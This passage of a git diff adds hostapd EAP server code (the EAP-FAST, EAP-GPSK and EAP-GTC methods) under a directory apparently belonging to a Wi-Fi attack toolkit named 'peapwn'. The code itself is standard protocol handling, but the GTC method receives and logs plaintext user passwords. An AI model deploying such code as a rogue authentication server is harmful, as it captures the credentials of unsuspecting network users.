wpabuf *in_decrypted; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Received %lu bytes encrypted data for" + " Phase 2", (unsigned long) wpabuf_len(in_buf)); + + if (data->pending_phase2_resp) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Pending Phase 2 response - " + "skip decryption and use old data"); + eap_fast_process_phase2_tlvs(sm, data, + data->pending_phase2_resp); + wpabuf_free(data->pending_phase2_resp); + data->pending_phase2_resp = NULL; + return; + } + + in_decrypted = tls_connection_decrypt(sm->ssl_ctx, data->ssl.conn, + in_buf); + if (in_decrypted == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to decrypt Phase 2 " + "data"); + eap_fast_state(data, FAILURE); + return; + } + + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-FAST: Decrypted Phase 2 TLVs", + in_decrypted); + + eap_fast_process_phase2_tlvs(sm, data, in_decrypted); + + if (sm->method_pending == METHOD_PENDING_WAIT) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase2 method is in " + "pending wait state - save decrypted response"); + wpabuf_free(data->pending_phase2_resp); + data->pending_phase2_resp = in_decrypted; + return; + } + + wpabuf_free(in_decrypted); +} + + +static int eap_fast_process_version(struct eap_sm *sm, void *priv, + int peer_version) +{ + struct eap_fast_data *data = priv; + + data->peer_version = peer_version; + + if (data->force_version >= 0 && peer_version != data->force_version) { + wpa_printf(MSG_INFO, "EAP-FAST: peer did not select the forced" + " version (forced=%d peer=%d) - reject", + data->force_version, peer_version); + return -1; + } + + if (peer_version < data->fast_version) { + wpa_printf(MSG_DEBUG, "EAP-FAST: peer ver=%d, own ver=%d; " + "use version %d", + peer_version, data->fast_version, peer_version); + data->fast_version = peer_version; + } + + return 0; +} + + +static int eap_fast_process_phase1(struct eap_sm *sm, + struct eap_fast_data *data) +{ + if (eap_server_tls_phase1(sm, &data->ssl) < 0) { + wpa_printf(MSG_INFO, "EAP-FAST: TLS processing failed"); + eap_fast_state(data, FAILURE); + return -1; + } + + if (!tls_connection_established(sm->ssl_ctx, data->ssl.conn) || + wpabuf_len(data->ssl.tls_out) > 0) + return 1; + + /* + * Phase 1 was completed with the received message (e.g., when using + * abbreviated handshake), so Phase 2 can be started immediately + * without having to send through an empty message to the peer. + */ + + return eap_fast_phase1_done(sm, data); +} + + +static int eap_fast_process_phase2_start(struct eap_sm *sm, + struct eap_fast_data *data) +{ + u8 next_type; + + if (data->identity) { + os_free(sm->identity); + sm->identity = data->identity; + data->identity = NULL; + sm->identity_len = data->identity_len; + data->identity_len = 0; + sm->require_identity_match = 1; + if (eap_user_get(sm, sm->identity, sm->identity_len, 1) != 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: " + "Phase2 Identity not found " + "in the user database", + sm->identity, sm->identity_len); + next_type = eap_fast_req_failure(sm, data); + } else { + wpa_printf(MSG_DEBUG, "EAP-FAST: Identity already " + "known - skip Phase 2 Identity Request"); + next_type = sm->user->methods[0].method; + sm->user_eap_method_index = 1; + } + + eap_fast_state(data, PHASE2_METHOD); + } else { + eap_fast_state(data, PHASE2_ID); + next_type = EAP_TYPE_IDENTITY; + } + + return eap_fast_phase2_init(sm, data, next_type); +} + + +static void eap_fast_process_msg(struct eap_sm *sm, void *priv, + const struct wpabuf *respData) +{ + struct eap_fast_data *data = priv; + + switch (data->state) { + case PHASE1: + if (eap_fast_process_phase1(sm, data)) + break; + + /* fall through to PHASE2_START */ + case PHASE2_START: + eap_fast_process_phase2_start(sm, data); + break; + case PHASE2_ID: + case PHASE2_METHOD: + case CRYPTO_BINDING: + case REQUEST_PAC: + eap_fast_process_phase2(sm, data, data->ssl.tls_in); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-FAST: Unexpected state %d in %s", + data->state, __func__); + break; + } +} + + +static void eap_fast_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_fast_data *data = priv; + if (eap_server_tls_process(sm, &data->ssl, respData, data, + EAP_TYPE_FAST, eap_fast_process_version, + eap_fast_process_msg) < 0) + eap_fast_state(data, FAILURE); +} + + +static Boolean eap_fast_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_fast_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_fast_data *data = priv; + u8 *eapKeyData; + + if (data->state != SUCCESS) + return NULL; + + eapKeyData = os_malloc(EAP_FAST_KEY_LEN); + if (eapKeyData == NULL) + return NULL; + + eap_fast_derive_eap_msk(data->simck, eapKeyData); + *len = EAP_FAST_KEY_LEN; + + return eapKeyData; +} + + +static u8 * eap_fast_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_fast_data *data = priv; + u8 *eapKeyData; + + if (data->state != SUCCESS) + return NULL; + + eapKeyData = os_malloc(EAP_EMSK_LEN); + if (eapKeyData == NULL) + return NULL; + + eap_fast_derive_eap_emsk(data->simck, eapKeyData); + *len = EAP_EMSK_LEN; + + return eapKeyData; +} + + +static Boolean eap_fast_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_fast_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_FAST, "FAST"); + if (eap == NULL) + return -1; + + eap->init = eap_fast_init; + eap->reset = eap_fast_reset; + eap->buildReq = eap_fast_buildReq; + eap->check = eap_fast_check; + eap->process = eap_fast_process; + eap->isDone = eap_fast_isDone; + eap->getKey = eap_fast_getKey; + eap->get_emsk = eap_fast_get_emsk; + eap->isSuccess = eap_fast_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_gpsk.c b/peapwn/mods/hostap/src/eap_server/eap_server_gpsk.c new file mode 100644 index 000000000..66f427158 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_gpsk.c @@ -0,0 +1,620 @@ +/* + * hostapd / EAP-GPSK (RFC 5433) server + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_server/eap_i.h" +#include "eap_common/eap_gpsk_common.h" + + +struct eap_gpsk_data { + enum { GPSK_1, GPSK_3, SUCCESS, FAILURE } state; + u8 rand_server[EAP_GPSK_RAND_LEN]; + u8 rand_peer[EAP_GPSK_RAND_LEN]; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 sk[EAP_GPSK_MAX_SK_LEN]; + size_t sk_len; + u8 pk[EAP_GPSK_MAX_PK_LEN]; + size_t pk_len; + u8 *id_peer; + size_t id_peer_len; +#define MAX_NUM_CSUITES 2 + struct eap_gpsk_csuite csuite_list[MAX_NUM_CSUITES]; + size_t csuite_count; + int vendor; /* CSuite/Vendor */ + int specifier; /* CSuite/Specifier */ +}; + + +static const char * eap_gpsk_state_txt(int state) +{ + switch (state) { + case GPSK_1: + return "GPSK-1"; + case GPSK_3: + return "GPSK-3"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} + + +static void eap_gpsk_state(struct eap_gpsk_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-GPSK: %s -> %s", + eap_gpsk_state_txt(data->state), + eap_gpsk_state_txt(state)); + data->state = state; +} + + +static void * eap_gpsk_init(struct eap_sm *sm) +{ + struct eap_gpsk_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = GPSK_1; + + data->csuite_count = 0; + if (eap_gpsk_supported_ciphersuite(EAP_GPSK_VENDOR_IETF, + EAP_GPSK_CIPHER_AES)) { + WPA_PUT_BE32(data->csuite_list[data->csuite_count].vendor, + EAP_GPSK_VENDOR_IETF); + WPA_PUT_BE16(data->csuite_list[data->csuite_count].specifier, + EAP_GPSK_CIPHER_AES); + data->csuite_count++; + } + if (eap_gpsk_supported_ciphersuite(EAP_GPSK_VENDOR_IETF, + EAP_GPSK_CIPHER_SHA256)) { + WPA_PUT_BE32(data->csuite_list[data->csuite_count].vendor, + EAP_GPSK_VENDOR_IETF); + WPA_PUT_BE16(data->csuite_list[data->csuite_count].specifier, + EAP_GPSK_CIPHER_SHA256); + data->csuite_count++; + } + + return data; +} + + +static void eap_gpsk_reset(struct eap_sm *sm, void *priv) +{ + struct eap_gpsk_data *data = priv; + os_free(data->id_peer); + os_free(data); +} + + +static struct wpabuf * eap_gpsk_build_gpsk_1(struct eap_sm *sm, + struct eap_gpsk_data *data, u8 id) +{ + size_t len; + struct wpabuf *req; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Request/GPSK-1"); + + if (random_get_bytes(data->rand_server, EAP_GPSK_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-GPSK: Failed to get random data"); + eap_gpsk_state(data, FAILURE); + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-GPSK: RAND_Server", + data->rand_server, EAP_GPSK_RAND_LEN); + + len = 1 + 2 + sm->server_id_len + EAP_GPSK_RAND_LEN + 2 + + data->csuite_count * sizeof(struct eap_gpsk_csuite); + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GPSK, len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-GPSK: Failed to allocate memory " + "for request/GPSK-1"); + eap_gpsk_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, EAP_GPSK_OPCODE_GPSK_1); + wpabuf_put_be16(req, sm->server_id_len); + wpabuf_put_data(req, sm->server_id, sm->server_id_len); + wpabuf_put_data(req, data->rand_server, EAP_GPSK_RAND_LEN); + wpabuf_put_be16(req, + data->csuite_count * sizeof(struct eap_gpsk_csuite)); + wpabuf_put_data(req, data->csuite_list, + data->csuite_count * sizeof(struct eap_gpsk_csuite)); + + return req; +} + + +static struct wpabuf * eap_gpsk_build_gpsk_3(struct eap_sm *sm, + struct eap_gpsk_data *data, u8 id) +{ + u8 *pos, *start; + size_t len, miclen; + struct eap_gpsk_csuite *csuite; + struct wpabuf *req; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Request/GPSK-3"); + + miclen = eap_gpsk_mic_len(data->vendor, data->specifier); + len = 1 + 2 * EAP_GPSK_RAND_LEN + 2 + sm->server_id_len + + sizeof(struct eap_gpsk_csuite) + 2 + miclen; + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GPSK, len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-GPSK: Failed to allocate memory " + "for request/GPSK-3"); + eap_gpsk_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, EAP_GPSK_OPCODE_GPSK_3); + start = wpabuf_put(req, 0); + + wpabuf_put_data(req, data->rand_peer, EAP_GPSK_RAND_LEN); + wpabuf_put_data(req, data->rand_server, EAP_GPSK_RAND_LEN); + wpabuf_put_be16(req, sm->server_id_len); + wpabuf_put_data(req, sm->server_id, sm->server_id_len); + csuite = wpabuf_put(req, sizeof(*csuite)); + WPA_PUT_BE32(csuite->vendor, data->vendor); + WPA_PUT_BE16(csuite->specifier, data->specifier); + + /* no PD_Payload_2 */ + wpabuf_put_be16(req, 0); + + pos = wpabuf_put(req, miclen); + if (eap_gpsk_compute_mic(data->sk, data->sk_len, data->vendor, + data->specifier, start, pos - start, pos) < 0) + { + os_free(req); + eap_gpsk_state(data, FAILURE); + return NULL; + } + + return req; +} + + +static struct wpabuf * eap_gpsk_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_gpsk_data *data = priv; + + switch (data->state) { + case GPSK_1: + return eap_gpsk_build_gpsk_1(sm, data, id); + case GPSK_3: + return eap_gpsk_build_gpsk_3(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-GPSK: Unknown state %d in buildReq", + data->state); + break; + } + return NULL; +} + + +static Boolean eap_gpsk_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_gpsk_data *data = priv; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_GPSK, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-GPSK: Invalid frame"); + return TRUE; + } + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Received frame: opcode=%d", *pos); + + if (data->state == GPSK_1 && *pos == EAP_GPSK_OPCODE_GPSK_2) + return FALSE; + + if (data->state == GPSK_3 && *pos == EAP_GPSK_OPCODE_GPSK_4) + return FALSE; + + wpa_printf(MSG_INFO, "EAP-GPSK: Unexpected opcode=%d in state=%d", + *pos, data->state); + + return TRUE; +} + + +static void eap_gpsk_process_gpsk_2(struct eap_sm *sm, + struct eap_gpsk_data *data, + const u8 *payload, size_t payloadlen) +{ + const u8 *pos, *end; + u16 alen; + const struct eap_gpsk_csuite *csuite; + size_t i, miclen; + u8 mic[EAP_GPSK_MAX_MIC_LEN]; + + if (data->state != GPSK_1) + return; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Received Response/GPSK-2"); + + pos = payload; + end = payload + payloadlen; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "ID_Peer length"); + eap_gpsk_state(data, FAILURE); + return; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "ID_Peer"); + eap_gpsk_state(data, FAILURE); + return; + } + os_free(data->id_peer); + data->id_peer = os_malloc(alen); + if (data->id_peer == NULL) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Not enough memory to store " + "%d-octet ID_Peer", alen); + return; + } + os_memcpy(data->id_peer, pos, alen); + data->id_peer_len = alen; + wpa_hexdump_ascii(MSG_DEBUG, "EAP-GPSK: ID_Peer", + data->id_peer, data->id_peer_len); + pos += alen; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "ID_Server length"); + eap_gpsk_state(data, FAILURE); + return; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "ID_Server"); + eap_gpsk_state(data, FAILURE); + return; + } + if (alen != sm->server_id_len || + os_memcmp(pos, sm->server_id, alen) != 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: ID_Server in GPSK-1 and " + "GPSK-2 did not match"); + eap_gpsk_state(data, FAILURE); + return; + } + pos += alen; + + if (end - pos < EAP_GPSK_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "RAND_Peer"); + eap_gpsk_state(data, FAILURE); + return; + } + os_memcpy(data->rand_peer, pos, EAP_GPSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Peer", + data->rand_peer, EAP_GPSK_RAND_LEN); + pos += EAP_GPSK_RAND_LEN; + + if (end - pos < EAP_GPSK_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "RAND_Server"); + eap_gpsk_state(data, FAILURE); + return; + } + if (os_memcmp(data->rand_server, pos, EAP_GPSK_RAND_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: RAND_Server in GPSK-1 and " + "GPSK-2 did not match"); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Server in GPSK-1", + data->rand_server, EAP_GPSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Server in GPSK-2", + pos, EAP_GPSK_RAND_LEN); + eap_gpsk_state(data, FAILURE); + return; + } + pos += EAP_GPSK_RAND_LEN; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "CSuite_List length"); + eap_gpsk_state(data, FAILURE); + return; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "CSuite_List"); + eap_gpsk_state(data, FAILURE); + return; + } + if (alen != data->csuite_count * sizeof(struct eap_gpsk_csuite) || + os_memcmp(pos, data->csuite_list, alen) != 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: CSuite_List in GPSK-1 and " + "GPSK-2 did not match"); + eap_gpsk_state(data, FAILURE); + return; + } + pos += alen; + + if (end - pos < (int) sizeof(*csuite)) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "CSuite_Sel"); + eap_gpsk_state(data, FAILURE); + return; + } + csuite = (const struct eap_gpsk_csuite *) pos; + for (i = 0; i < data->csuite_count; i++) { + if (os_memcmp(csuite, &data->csuite_list[i], sizeof(*csuite)) + == 0) + break; + } + if (i == data->csuite_count) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Peer selected unsupported " + "ciphersuite %d:%d", + WPA_GET_BE32(csuite->vendor), + WPA_GET_BE16(csuite->specifier)); + eap_gpsk_state(data, FAILURE); + return; + } + data->vendor = WPA_GET_BE32(csuite->vendor); + data->specifier = WPA_GET_BE16(csuite->specifier); + wpa_printf(MSG_DEBUG, "EAP-GPSK: CSuite_Sel %d:%d", + data->vendor, data->specifier); + pos += sizeof(*csuite); + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "PD_Payload_1 length"); + eap_gpsk_state(data, FAILURE); + return; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "PD_Payload_1"); + eap_gpsk_state(data, FAILURE); + return; + } + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: PD_Payload_1", pos, alen); + pos += alen; + + if (sm->user == NULL || sm->user->password == NULL) { + wpa_printf(MSG_INFO, "EAP-GPSK: No PSK/password configured " + "for the user"); + eap_gpsk_state(data, FAILURE); + return; + } + + if (eap_gpsk_derive_keys(sm->user->password, sm->user->password_len, + data->vendor, data->specifier, + data->rand_peer, data->rand_server, + data->id_peer, data->id_peer_len, + sm->server_id, sm->server_id_len, + data->msk, data->emsk, + data->sk, &data->sk_len, + data->pk, &data->pk_len) < 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to derive keys"); + eap_gpsk_state(data, FAILURE); + return; + } + + miclen = eap_gpsk_mic_len(data->vendor, data->specifier); + if (end - pos < (int) miclen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for MIC " + "(left=%lu miclen=%lu)", + (unsigned long) (end - pos), + (unsigned long) miclen); + eap_gpsk_state(data, FAILURE); + return; + } + if (eap_gpsk_compute_mic(data->sk, data->sk_len, data->vendor, + data->specifier, payload, pos - payload, mic) + < 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to compute MIC"); + eap_gpsk_state(data, FAILURE); + return; + } + if (os_memcmp(mic, pos, miclen) != 0) { + wpa_printf(MSG_INFO, "EAP-GPSK: Incorrect MIC in GPSK-2"); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Received MIC", pos, miclen); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Computed MIC", mic, miclen); + eap_gpsk_state(data, FAILURE); + return; + } + pos += miclen; + + if (pos != end) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Ignored %lu bytes of extra " + "data in the end of GPSK-2", + (unsigned long) (end - pos)); + } + + eap_gpsk_state(data, GPSK_3); +} + + +static void eap_gpsk_process_gpsk_4(struct eap_sm *sm, + struct eap_gpsk_data *data, + const u8 *payload, size_t payloadlen) +{ + const u8 *pos, *end; + u16 alen; + size_t miclen; + u8 mic[EAP_GPSK_MAX_MIC_LEN]; + + if (data->state != GPSK_3) + return; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Received Response/GPSK-4"); + + pos = payload; + end = payload + payloadlen; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "PD_Payload_1 length"); + eap_gpsk_state(data, FAILURE); + return; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short message for " + "PD_Payload_1"); + eap_gpsk_state(data, FAILURE); + return; + } + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: PD_Payload_1", pos, alen); + pos += alen; + + miclen = eap_gpsk_mic_len(data->vendor, data->specifier); + if (end - pos < (int) miclen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for MIC " + "(left=%lu miclen=%lu)", + (unsigned long) (end - pos), + (unsigned long) miclen); + eap_gpsk_state(data, FAILURE); + return; + } + if (eap_gpsk_compute_mic(data->sk, data->sk_len, data->vendor, + data->specifier, payload, pos - payload, mic) + < 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to compute MIC"); + eap_gpsk_state(data, FAILURE); + return; + } + if (os_memcmp(mic, pos, miclen) != 0) { + wpa_printf(MSG_INFO, "EAP-GPSK: Incorrect MIC in GPSK-4"); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Received MIC", pos, miclen); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Computed MIC", mic, miclen); + eap_gpsk_state(data, FAILURE); + return; + } + pos += miclen; + + if (pos != end) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Ignored %lu bytes of extra " + "data in the end of GPSK-4", + (unsigned long) (end - pos)); + } + + eap_gpsk_state(data, SUCCESS); +} + + +static void eap_gpsk_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_gpsk_data *data = priv; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_GPSK, respData, &len); + if (pos == NULL || len < 1) + return; + + switch (*pos) { + case EAP_GPSK_OPCODE_GPSK_2: + eap_gpsk_process_gpsk_2(sm, data, pos + 1, len - 1); + break; + case EAP_GPSK_OPCODE_GPSK_4: + eap_gpsk_process_gpsk_4(sm, data, pos + 1, len - 1); + break; + } +} + + +static Boolean eap_gpsk_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_gpsk_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_gpsk_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_gpsk_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_gpsk_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_gpsk_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +static Boolean eap_gpsk_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_gpsk_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_gpsk_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_GPSK, "GPSK"); + if (eap == NULL) + return -1; + + eap->init = eap_gpsk_init; + eap->reset = eap_gpsk_reset; + eap->buildReq = eap_gpsk_buildReq; + eap->check = eap_gpsk_check; + eap->process = eap_gpsk_process; + eap->isDone = eap_gpsk_isDone; + eap->getKey = eap_gpsk_getKey; + eap->isSuccess = eap_gpsk_isSuccess; + eap->get_emsk = eap_gpsk_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_gtc.c b/peapwn/mods/hostap/src/eap_server/eap_server_gtc.c new file mode 100644 index 000000000..f423106bf --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_gtc.c @@ -0,0 +1,224 @@ +/* + * hostapd / EAP-GTC (RFC 3748) + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" + + +struct eap_gtc_data { + enum { CONTINUE, SUCCESS, FAILURE } state; + int prefix; +}; + + +static void * eap_gtc_init(struct eap_sm *sm) +{ + struct eap_gtc_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = CONTINUE; + +#ifdef EAP_SERVER_FAST + if (sm->m && sm->m->vendor == EAP_VENDOR_IETF && + sm->m->method == EAP_TYPE_FAST) { + wpa_printf(MSG_DEBUG, "EAP-GTC: EAP-FAST tunnel - use prefix " + "with challenge/response"); + data->prefix = 1; + } +#endif /* EAP_SERVER_FAST */ + + return data; +} + + +static void eap_gtc_reset(struct eap_sm *sm, void *priv) +{ + struct eap_gtc_data *data = priv; + os_free(data); +} + + +static struct wpabuf * eap_gtc_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_gtc_data *data = priv; + struct wpabuf *req; + char *msg; + size_t msg_len; + + msg = data->prefix ? "CHALLENGE=Password" : "Password"; + + msg_len = os_strlen(msg); + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GTC, msg_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-GTC: Failed to allocate memory for " + "request"); + data->state = FAILURE; + return NULL; + } + + wpabuf_put_data(req, msg, msg_len); + + data->state = CONTINUE; + + return req; +} + + +static Boolean eap_gtc_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_GTC, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-GTC: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static void eap_gtc_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_gtc_data *data = priv; + const u8 *pos; + size_t rlen; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_GTC, respData, &rlen); + if (pos == NULL || rlen < 1) + return; /* Should not happen - frame already validated */ + + wpa_hexdump_ascii_key(MSG_MSGDUMP, "EAP-GTC: Response", pos, rlen); + +#ifdef EAP_SERVER_FAST + if (data->prefix) { + const u8 *pos2, *end; + /* "RESPONSE=\0" */ + if (rlen < 10) { + wpa_printf(MSG_DEBUG, "EAP-GTC: Too short response " + "for EAP-FAST prefix"); + data->state = FAILURE; + return; + } + + end = pos + rlen; + pos += 9; + pos2 = pos; + while (pos2 < end && *pos2) + pos2++; + if (pos2 == end) { + wpa_printf(MSG_DEBUG, "EAP-GTC: No password in " + "response to EAP-FAST prefix"); + data->state = FAILURE; + return; + } + + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-GTC: Response user", + pos, pos2 - pos); + if (sm->identity && sm->require_identity_match && + (pos2 - pos != (int) sm->identity_len || + os_memcmp(pos, sm->identity, sm->identity_len))) { + wpa_printf(MSG_DEBUG, "EAP-GTC: Phase 2 Identity did " + "not match with required Identity"); + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-GTC: Expected " + "identity", + sm->identity, sm->identity_len); + data->state = FAILURE; + return; + } else { + os_free(sm->identity); + sm->identity_len = pos2 - pos; + sm->identity = os_malloc(sm->identity_len); + if (sm->identity == NULL) { + data->state = FAILURE; + return; + } + os_memcpy(sm->identity, pos, sm->identity_len); + } + + if (eap_user_get(sm, sm->identity, sm->identity_len, 1) != 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-GTC: Phase2 " + "Identity not found in the user " + "database", + sm->identity, sm->identity_len); + data->state = FAILURE; + return; + } + + pos = pos2 + 1; + rlen = end - pos; + wpa_hexdump_ascii_key(MSG_MSGDUMP, + "EAP-GTC: Response password", + pos, rlen); + } +#endif /* EAP_SERVER_FAST */ + + if (sm->user == NULL || sm->user->password == NULL || + sm->user->password_hash) { + wpa_printf(MSG_INFO, "EAP-GTC: Plaintext password not " + "configured"); + data->state = FAILURE; + return; + } + + if (rlen != sm->user->password_len || + os_memcmp(pos, sm->user->password, rlen) != 0) { + wpa_printf(MSG_DEBUG, "EAP-GTC: Done - Failure"); + data->state = FAILURE; + } else { + wpa_printf(MSG_DEBUG, "EAP-GTC: Done - Success"); + data->state = SUCCESS; + } +} + + +static Boolean eap_gtc_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_gtc_data *data = priv; + return data->state != CONTINUE; +} + + +static Boolean eap_gtc_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_gtc_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_gtc_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_GTC, "GTC"); + if (eap == NULL) + return -1; + + eap->init = eap_gtc_init; + eap->reset = eap_gtc_reset; + eap->buildReq = eap_gtc_buildReq; + eap->check = eap_gtc_check; + eap->process = eap_gtc_process; + eap->isDone = eap_gtc_isDone; + eap->isSuccess = eap_gtc_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_identity.c b/peapwn/mods/hostap/src/eap_server/eap_server_identity.c new file mode 100644 index 000000000..51dc4e8b4 --- /dev/null +++ 